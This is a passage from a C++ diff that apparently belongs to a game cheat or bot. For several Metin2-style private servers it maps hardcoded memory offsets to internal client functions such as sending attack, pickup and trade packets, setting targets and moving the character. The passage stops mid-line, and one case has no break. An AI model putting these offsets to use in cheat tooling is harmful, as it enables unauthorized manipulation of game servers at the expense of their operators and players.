Globals::hEntryBaseAddress + 0x1681a0; // [100 ] [1 / 1] + break; + } + case ServerName::CLASSIC: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x660b0; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x73090; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x17da80; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x64cb0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x65f80; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x66120; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x660b0; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x704b0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x664f0; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x666d0; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x704c0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x6fe30; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x70570; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x6eb70; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x173b00; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x182fc0; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x732f0; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x12cda0; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0xd6600; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0xd5dd0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x12cec0; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x12cf30; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x12d130; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x12d170; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x16c5f0; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1939e0; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0xc2880; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0xc2f80; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x781b0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0xa62d0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x80e60; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0xd5bc0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0xd5ee0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xe1850; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0xe0e50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0xe0fa0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0xe10f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0xd6170; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0xe15e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0xe1700; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0xe1770; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0xe17f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0xe18e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0xe4c50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0xe4cc0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0xe4df0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0xe4e40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0xe2140; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0xe24e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0xe2590; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0xe51e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0xe5250; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0xe5310; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0xe25d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0xe26d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0xe2730; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0xd6b50; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x87990; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x941d0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x89C90; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x89cf0; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x89ee0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x89ef0; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x89fd0; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x8a190; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x8e3b0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x8a630; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x8a660; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x8d920; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x8aa20; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x8ec30; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x8df60; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x8e4f0; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x8e540; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x130850; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x123370; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x13f260; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1d0b30; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x12d810; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x6fb70; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x70610; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x68c50; // [100 ] [1 / 1] + break; + } + case ServerName::VALIUM: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x1d0740; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0xac760; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x98e50; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x98e90; // [100 ] [4 / 4] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x97ae0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x97ba0; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x97ac0; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0xa7220; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x98c10; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x98860; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0xa7160; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0xa6a20; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0xa70e0; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0xa1290; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x1c6e00; // [100 ] [4 / 4] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x1d4940; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0xaa8b0; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x195e70; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x144d00; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x144100; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x196060; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x1960a0; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x1962b0; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x1962f0; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x196340; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1e0140; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x127c90; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x1275c0; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0xb4490; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0xfa0d0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0xbe350; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x144280; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1444a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x14e310; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x14d9d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x14da40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x14ffa0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x143c80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x14df00; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x14dda0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x14dd20; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x14f0f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x14f180; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x15ba00; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x15ba80; // [100 ] [2 / 2] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x15bde0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x15b7c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x14e230; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x14e030; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x14e390; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x15bfe0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x15bf80; // [100 ] [2 / 2] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x15c110; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x14d5f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x14dbd0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x1500c0; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x1463b0; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xc9540; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xdf810; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xcc120; // [100 ] [1 / 1] + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xcc3e0; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xcb800; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0xcba30; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xcbc90; // [83 ] [5 / 6] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0xcba90; // [100 ] [2 / 2][1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xd4100; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xcd1f0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xcd220; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xd3a70; // [100 ] [2 / 2] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xcb090; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xd50f0; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xd3e70; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xd43d0; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xd41f0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x5cd10; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x18ecc0; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x1952B0; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x211620; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x196840; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0xa6560; // [100 ] [6 / 6] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0xa7260; // [100 ] [4 / 4] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x9c010; // [100 ] [4 / 4] + } + case ServerName::DEVERIA: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x198e40; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x78b10; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x5eca0; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x5ec80; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x61cc0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x61ce0; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x61690; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x6b1c0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x5ff20; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x5fbe0; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x6b0e0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x6ad60; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x6b080; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x67c10; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x5ef80; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x19cb60; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x19ac20; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x78a20; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x14a240; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0xa08f0; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0xa00e0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x14a430; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x14a470; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x14a680; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x14a6c0; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x14a710; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1ae740; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x71500; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x70b40; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x7c0a0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x82cc0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x882e0; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0xa01c0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0xa0840; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xa9d50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0xa98c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0xa7160; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0xa7350; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0xa09e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0xa8fb0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0xa8f30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0xa8dc0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0xabcd0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0xabd30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0xafa70; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0xafc30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0xafd60; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0xaf8b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0xa8070; // [100 ] [1 / 1] + pCPythonNetworkStreamSendRefinePacket = Globals::hEntryBaseAddress + 0xAC2F0; + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0xa91f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0xa9c70; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0xaf6e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0xaf680; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0xaf800; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0xa9930; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0xa72e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0xa7b70; // [100 ] [2 / 2] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0xa13d0; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xb2c70; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xcddf0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xB4550; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xb4880; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xb3c30; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0xb40d0; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x8d730; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xb40a0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xb8010; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xb54a0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xb5480; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xb8830; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xb3920; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xb9070; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xb8050; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xb8520; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xb8390; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x7b870; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x150b90; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x15A050; + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1d9300; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x156a50; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x6aca0; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x6b110; // [100 ] [1 / 1] + break; + } + case ServerName::DRAGON: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x2f6e70; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0xce080; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x90440; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x90420; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x93860; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x93880; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x805b0; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0xa6ac0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x91680; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x91320; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0xa69e0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0xa65a0; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0xa6980; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0xa1340; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x2fd490; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x39980c; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0xcdf90; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x25ce60; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x510AE0; + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x110290; + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x25cfd0; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x25d040; // [100 ] [1 / 